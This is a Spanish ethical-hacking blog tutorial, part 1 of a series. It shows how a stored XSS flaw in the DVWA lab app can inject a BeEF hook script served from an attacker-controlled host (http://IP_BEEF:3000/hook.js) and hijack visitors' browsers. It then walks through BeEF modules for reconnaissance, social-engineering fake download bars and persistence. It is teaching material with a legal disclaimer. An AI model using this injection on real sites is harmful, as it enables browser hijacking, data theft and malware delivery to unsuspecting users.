• ENTRAR
  • No hay productos en el carrito.

Llevando XSS al siguiente nivel – Parte 1

Advertencia Legal

Las técnicas y herramientas que se van a mostrar persiguen un propósito estrictamente educacional y de investigación. Se advierte al lector que su uso malintencionado podría derivar en sanciones económicas y en penas de prisión. Tanto el autor de este artículo como el centro de enseñanza Comunix o Novared deniegan cualquier tipo de responsabilidad sobre el mal uso que alguien le pudiera dar al conocimiento adquirido en esta lectura.

¿XSS?

XSS (Cross Site Scripting) es una vulnerabilidad generalmente asociada a las aplicaciones web, que permite a un usuario no autorizado inyectar código dentro de una página, de forma que cuando otros usuarios visiten la página ejecutarán el código en sus navegadores.

El ejemplo más genérico para confirmar la existencia de esta vulnerabilidad es introducir el siguiente script de Javascript dentro de un formulario:

<script>alert(1)</script>

Si al abrir el mensaje creado con el formulario nos salta una alerta con un “1” entonces esa página es vulnerable a XSS.

Una vez que se confirma la existencia de una vulnerabilidad XSS en una página se tiene la certeza de que existe un mecanismo para inyectar código Javascript en ella y se ha conseguido demostrar una vulnerabilidad con cierto nivel de peligrosidad, pero para demostrarlo solo tenemos un mensaje con un “1” entonces…

¿Como se puede explotar esta vulnerabilidad?
¿Como demostrar en una auditoría que la vulnerabilidad efectivamente es peligrosa?
¿Que podría hacer un atacante para aprovecharse de su existencia?

Una posibilidad sería utilizar la vulnerabilidad para inyectar un código Javascript que realice una conexión a una máquina del atacante donde tendría escuchando un servidor como BeEF.
Una vez hecha la conexión, el atacante podría usar BeEF para tener el control del navegador, acceso a toda la información del sistema y ejecutar una amplia gama de scripts maliciosos que, dependiendo del tipo y versión de navegador o el sistema operativo del objetivo, pueden causar estragos en el sistema auditado.

¿BeEF?

BeEF (Browser Explotation Framework) es una herramienta de seguridad para pruebas de penetración en navegadores web.

Viene instalado en Kali Linux y al iniciarse arranca un servidor web en el puerto 3000 que presenta 2 partes:

1. Script hook.js: Es el “enganche” encargado de iniciar la conexión desde los navegadores hacia BeEF.

http://DIRECCION_IP:3000/hook.js

2. Panel de control: Donde se podrán controlar los navegadores.

http://DIRECCION_IP:3000/ui/panel

Cuando un navegador ejecuta el código de hook.js se “engancha” al PC del Atacante enviándole peticiones constantemente en espera de ejecutar más código. El atacante puede controlar de forma remota los navegadores “enganchados” desde el panel de control mediante la ejecución de scripts.

Estos scripts podrían permitirle al atacante:

  • Obtener información del objetivo, sistema operativo, navegador, versiones, plugins instalados, URLs visitadas, cookies…
  • Detectar cortafuegos o proxies.
  • Acceder a la Webcam
  • Realizar ataques de ingeniería social mostrando mensajes en el navegador solicitando la interacción del usuario.
  • Abrir una shell con la máquina
  • Escalar privilegios
  • Realizar ataques de denegación de servicio
  • Etc.

Prueba de concepto

El objetivo de esta prueba será demostrar como un atacante puede inyectar código Javascript en una página web usando una vulnerabilidad XSS, y como puede hacerse con el control del navegador de todo aquel que entre en esa página web.

Para esta prueba se van a usar 3 máquinas virtuales:

Máquina Atacante:

Kali Linux.
Viene con BeEF ya instalado.
https://www.kali.org/downloads/

Máquina vulnerable a XSS:

Máquina con DVWA (Damn Vulnerable Web Application).
Es una máquina linux que al arrancar inicia un servidor web con una aplicación (DVWA) usada generalmente para practicar con vulnerabilidades web de varios tipos, entre ellas XSS.
https://www.vulnhub.com/entry/damn-vulnerable-web-application-dvwa-107,43/

Máquina Objetivo:

Windows 10
Google Chrome
https://www.microsoft.com/en-us/software-download/windowsinsiderpreviewiso

(Hay que registrarse)

Parte 1: Inyección de código en la máquina vulnerable a XSS

Desde el PC Atacante se descubre una vulnerabilidad XSS persistente en una de las páginas web alojadas en el PC Vulnerable a XSS.

El atacante introduce <script>alert(1)</script>

Desde el PC Atacante se aprovecha la vulnerabilidad para inyectar código javascript en la página web.

El atacante introduce <script src=»http://IP_BEEF:3000/hook.js»></script>

El PC Atacante arranca el software BeEF y lo deja a la escucha.

Parte 2: Ejecución de código en la máquina objetivo

El atacante sólo tiene que esperar a que alguien entre en la página donde ha inyectado el código para conseguir controlar su navegador.

El PC Objetivo está visitando las páginas web alojadas en el PC Vulnerable a XSS y que aloja la página web que contiene el código Javascript inyectado por el atacante.

El software BeEF gestiona la conexión recibida.

Se pueden usar las opciones de BeEF agrupadas por categorías.

El significado de cada color es el siguiente:

  • Verde: El módulo funcionará y será invisible al usuario
  • Naranja: El módulo funcionará y será visible al usuario
  • Blanco: El módulo no ha sido probado contra ese objetivo todavía
  • Rojo: El módulo no funciona contra ese objetivo

Parte 3: Control remoto de los navegadores

En la pestaña “Current Browser” se encuentra el panel de control sobre el navegador seleccionado.
Dentro de este panel lo primero que se ve son los detalles del navegador.

Dependiendo del sistema operativo y el navegador del objetivo, el atacante podrá ejecutar unos scripts u otros con BeEF.

En la pestaña “Commands” se pueden ver los módulos disponibles.

A continuación se muestran algunos ejemplos:

→ Browser → Hooked Domains → Create Alert Dialog

Envía una alerta al usuario.

La alerta se muestra en el navegador.

→ Network → Detect Social Networks

Detecta si el usuario se ha autenticado en alguna red social.

→ Social Engineering → Fake Notification Bar (Chrome)

Muestra una barra de notificación en la parte superior de la pantalla. Si el usuario hace click sobre ella será redireccionado para descargar un fichero.

Se muestra un mensaje en la parte superior del navegador que requiere la instalación de plugins.

→ Persistence → Man-In-The-Browser

Se asegura de que la conexión permanece hasta que el usuario cambia la url en la barra de direcciones manualmente.

Por no alargar demasiado el artículo he decidido dividirlo en varias partes. Esta primera parte ha sido una introducción para ver un ejemplo de como funciona el secuestro de navegadores con BeEF. La prueba se ha realizado sobre una máquina con Windows 10 actualizado y un navegador Google Chrome actualizado, por lo que gran parte de los scripts y exploits de BeEF no tienen efectividad, aunque hay otros que sí funcionan como se ha podido comprobar.

La segunda parte de este artículo estará centrada en la explotación, se explicará como se integra Metasploit para usar sus módulos dentro de BeEF y se ejecutarán exploits sobre los navegadores de máquinas con configuraciones vulnerables.

Jose Arquillo

Ingeniero en Informática colegiado en el CPIIA, Máster en Seguridad Informática, programador con más de 10 años de experiencia, y aprendiz de hacker y forense desde hace varios años. Actualmente trabajando como programador y estudiando para obtener algunas certificaciones de ciberseguridad.

      

Soluciones de ciberseguridad en empresas de Industria 4.0

Buenas a todo el mundo! Cada día son más empresas las que deciden implantar Industria 4.0 en sus sistemas de trabajo multiplicando beneficios y ahorrando en costes de producción, pero esto debe ir acompañado de [...]

El 2018 se fini

Después de largas charlas y conversaciones el tiempo pasaba volando en el grupo de Telegram de Comunix con mis compañeros cuando Antonio López me propuso, junto con otros compañeros, la colaboración para escribir en este [...]

DD (Unix) Herramienta de copia y conversión de archivos a bajo nivel.

Hola a todos y a todas! Después de mucho tiempo sin publicar nada, hoy quiero compartir con vosotr@s una herramienta que puede sernos muy útil a la hora de guardar, duplicar y/o recuperar datos muy delicados o …

Medidas Antiforenses por modificación de hash (Parte I)

Esta entrada la dividiré en dos entradas del blog. Hace un par de semanas en el grupo de informática forense, alguien compartió este link: https://blog.segu-info.com.ar/2018/05/cambiar-el-hash-md5-de-un-archivo.html?utm_source=dlvr.it&utm_medium=twitter y otro miembro contestó que no le veía el sentido …

1 respuestas sobre "Llevando XSS al siguiente nivel - Parte 1"

  1. Muy guapo el artículo! Conciso y bien mostradas todas esas funciones.
    Espectante de la siguiente publicación! ; )

Deja un mensaje



Tú escuela de Hacking Ético.
Avda. de Las Américas 3, 4º A
29002, Málaga, Málaga,
(+34) 951 043 792 · 630 098 971 - info@comunixgroup.com

Suscríbete a nuestro Boletin

  Suscribirse ahora

Certificate Code

By

Copyright © 2018 - Todos los derechos reservados.

X